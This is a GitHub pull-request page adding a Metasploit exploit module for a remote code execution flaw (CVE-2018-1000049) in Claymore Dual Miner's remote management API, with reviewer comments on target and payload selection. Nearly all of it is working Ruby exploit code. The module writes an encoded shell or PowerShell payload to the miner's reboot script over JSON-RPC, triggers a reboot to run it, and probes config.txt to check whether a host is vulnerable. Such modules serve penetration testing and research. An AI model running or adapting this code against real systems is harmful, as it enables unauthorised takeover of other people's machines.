-
Notifications
You must be signed in to change notification settings - Fork 13.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add exploit: claymore_dual_miner_remote_manager_rce #10064
Changes from 9 commits
b010d23
5d37451
8a1cb1e
d239fb1
c9ab442
6d4ad57
5649dd0
ae3e8da
e9db949
53f158e
da22b36
e614805
54c2bc3
43d71cd
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,157 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core/exploit/powershell' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::Tcp | ||
include Msf::Exploit::CmdStager | ||
include Msf::Exploit::Powershell | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Nanopool Claymore Dual Miner APIs RCE', | ||
'Description' => %q{ | ||
This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability. | ||
}, | ||
'Author' => | ||
[ | ||
'reversebrain@snado', # Vulnerability reporter | ||
'phra@snado' # Metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
['EDB', '44638'], | ||
['CVE', '2018-1000049'], | ||
['URL', 'https://reversebrain.github.io/2018/02/01/Claymore-Dual-Miner-Remote-Code-Execution/'] | ||
], | ||
'Platform' => ['win', 'linux'], | ||
'Targets' => | ||
[ | ||
[ 'Linux', | ||
{ | ||
'Platform' => 'linux', | ||
'Arch' => ARCH_X64 | ||
} | ||
], | ||
[ 'Windows', | ||
{ | ||
'Platform' => 'windows', | ||
'Arch' => ARCH_X64 | ||
} | ||
] | ||
], | ||
'Payload' => | ||
{ | ||
'BadChars' => "\x00" | ||
}, | ||
'DisclosureDate' => 'Feb 09 2018', | ||
'DefaultTarget' => 0)) | ||
|
||
register_options( | ||
[ | ||
OptPort.new('RPORT', [ true, 'Set miner port', 3333 ]) | ||
]) | ||
deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST') | ||
end | ||
|
||
def execute_command(cmd, opts = {}) | ||
case target['Platform'] | ||
when 'linux' | ||
cmd = Rex::Text.to_hex(cmd, '') | ||
when 'windows' | ||
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '') | ||
end | ||
case target['Platform'] | ||
when 'linux' | ||
upload = { | ||
"id" => 0, | ||
"jsonrpc" => '2.0', | ||
"method" => 'miner_file', | ||
"params" => ['reboot.bash', "#{cmd}"] | ||
}.to_json | ||
when 'windows' | ||
upload = { | ||
"id" => 0, | ||
"jsonrpc" => '2.0', | ||
"method" => 'miner_file', | ||
"params" => ['reboot.bat', "#{cmd}"] | ||
}.to_json | ||
end | ||
begin | ||
connect | ||
sock.put(upload) | ||
buf = sock.get_once || '' | ||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e | ||
print_error(e) | ||
ensure | ||
disconnect | ||
end | ||
trigger_vulnerability | ||
end | ||
|
||
def trigger_vulnerability | ||
execute = { | ||
"id" => 0, | ||
"jsonrpc" => '2.0', | ||
"method" => 'miner_reboot' | ||
}.to_json | ||
connect | ||
sock.put(execute) | ||
buf = sock.get_once || '' | ||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e | ||
print_error(e) | ||
ensure | ||
disconnect | ||
end | ||
|
||
def exploit | ||
case target['Platform'] | ||
when 'linux' | ||
execute_cmdstager | ||
when 'windows' | ||
execute_cmdstager(linemax: 20000) | ||
end | ||
end | ||
|
||
def check | ||
data = { | ||
"id" => 0, | ||
"jsonrpc" => '2.0', | ||
"method" => 'miner_getfile', | ||
"params" => ['config.txt'] | ||
}.to_json | ||
connect | ||
sock.put(data) | ||
buf = sock.get_once || '' | ||
tmp = StringIO.new | ||
tmp << buf | ||
tmp2 = tmp.string | ||
hex = '' | ||
case target['Platform'] | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It would be nice if the The default target is Additionally, if you wanted, you could probably implement fully automatic exploitation using the discrepancy in response from the server to set the appropriate target. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. @bcoles i've fixed the hardcoded strings, thanks. for the automatic check without setting the target i have an idea about how to do it, but for the exploitation i don't know how to get the right payload.. (at the moment i'm selecting the payload in the options). in case of a universal There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. It's late here. I'll reply in more detail tomorrow. The short answer is no. There's two main approaches. One is to The other approach is performing a string comparison on the target name and payload platform, and bailing if there's an inconsistency. There's a few other modules you can look at. The Here's the relevant code segment. This approach isn't ideal. There's probably a cleaner example somewhere in the framework. # Set target
uname = cmd_exec 'uname'
vprint_status "Operating system is #{uname}"
if target.name.eql? 'Automatic'
case uname
when /SunOS/i
my_target = targets[1]
when /Linux/i
my_target = targets[2]
else
fail_with Failure::NoTarget, 'Unable to automatically select a target'
end
else
my_target = target
end
print_status "Using target: #{my_target.name}"
# Check payload
if (my_target['Platform'].eql?('linux') && payload_instance.name !~ /linux/i) ||
(my_target['Platform'].eql?('solaris') && payload_instance.name !~ /solaris/i)
fail_with Failure::BadConfig, "Selected payload '#{payload_instance.name}' is not compatible with target operating system '#{my_target.name}'"
end There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Another option - perhaps the best option - would be to make use of Something like this: arch = target.arch
plat = [Msf::Module::PlatformList.new(target['Platform']).platforms.first]
if (p = regenerate_payload(plat, arch)) == nil
print_error 'Failed to regenerate payload'
return
end There are a bunch of examples in There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. i will have a look, thanks. |
||
when 'linux' | ||
hex = tmp2.scan(/\w+/)[5] | ||
when 'windows' | ||
hex = tmp2.scan(/\w+/)[7] | ||
end | ||
if not hex | ||
return Exploit::CheckCode::Safe | ||
end | ||
str = Rex::Text.hex_to_raw(hex) | ||
if str.include?('WARNING') | ||
return Exploit::CheckCode::Vulnerable | ||
else | ||
return Exploit::CheckCode::Detected | ||
end | ||
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e | ||
vprint_error(e) | ||
return Exploit::CheckCode::Unknown | ||
ensure | ||
disconnect | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Rather than wrap the entire method in a
begin
statement, you can use the rescue-from-method approach.The
check
statements should onlyvprint_*
rather thanprint_*
.A refactored method would look like: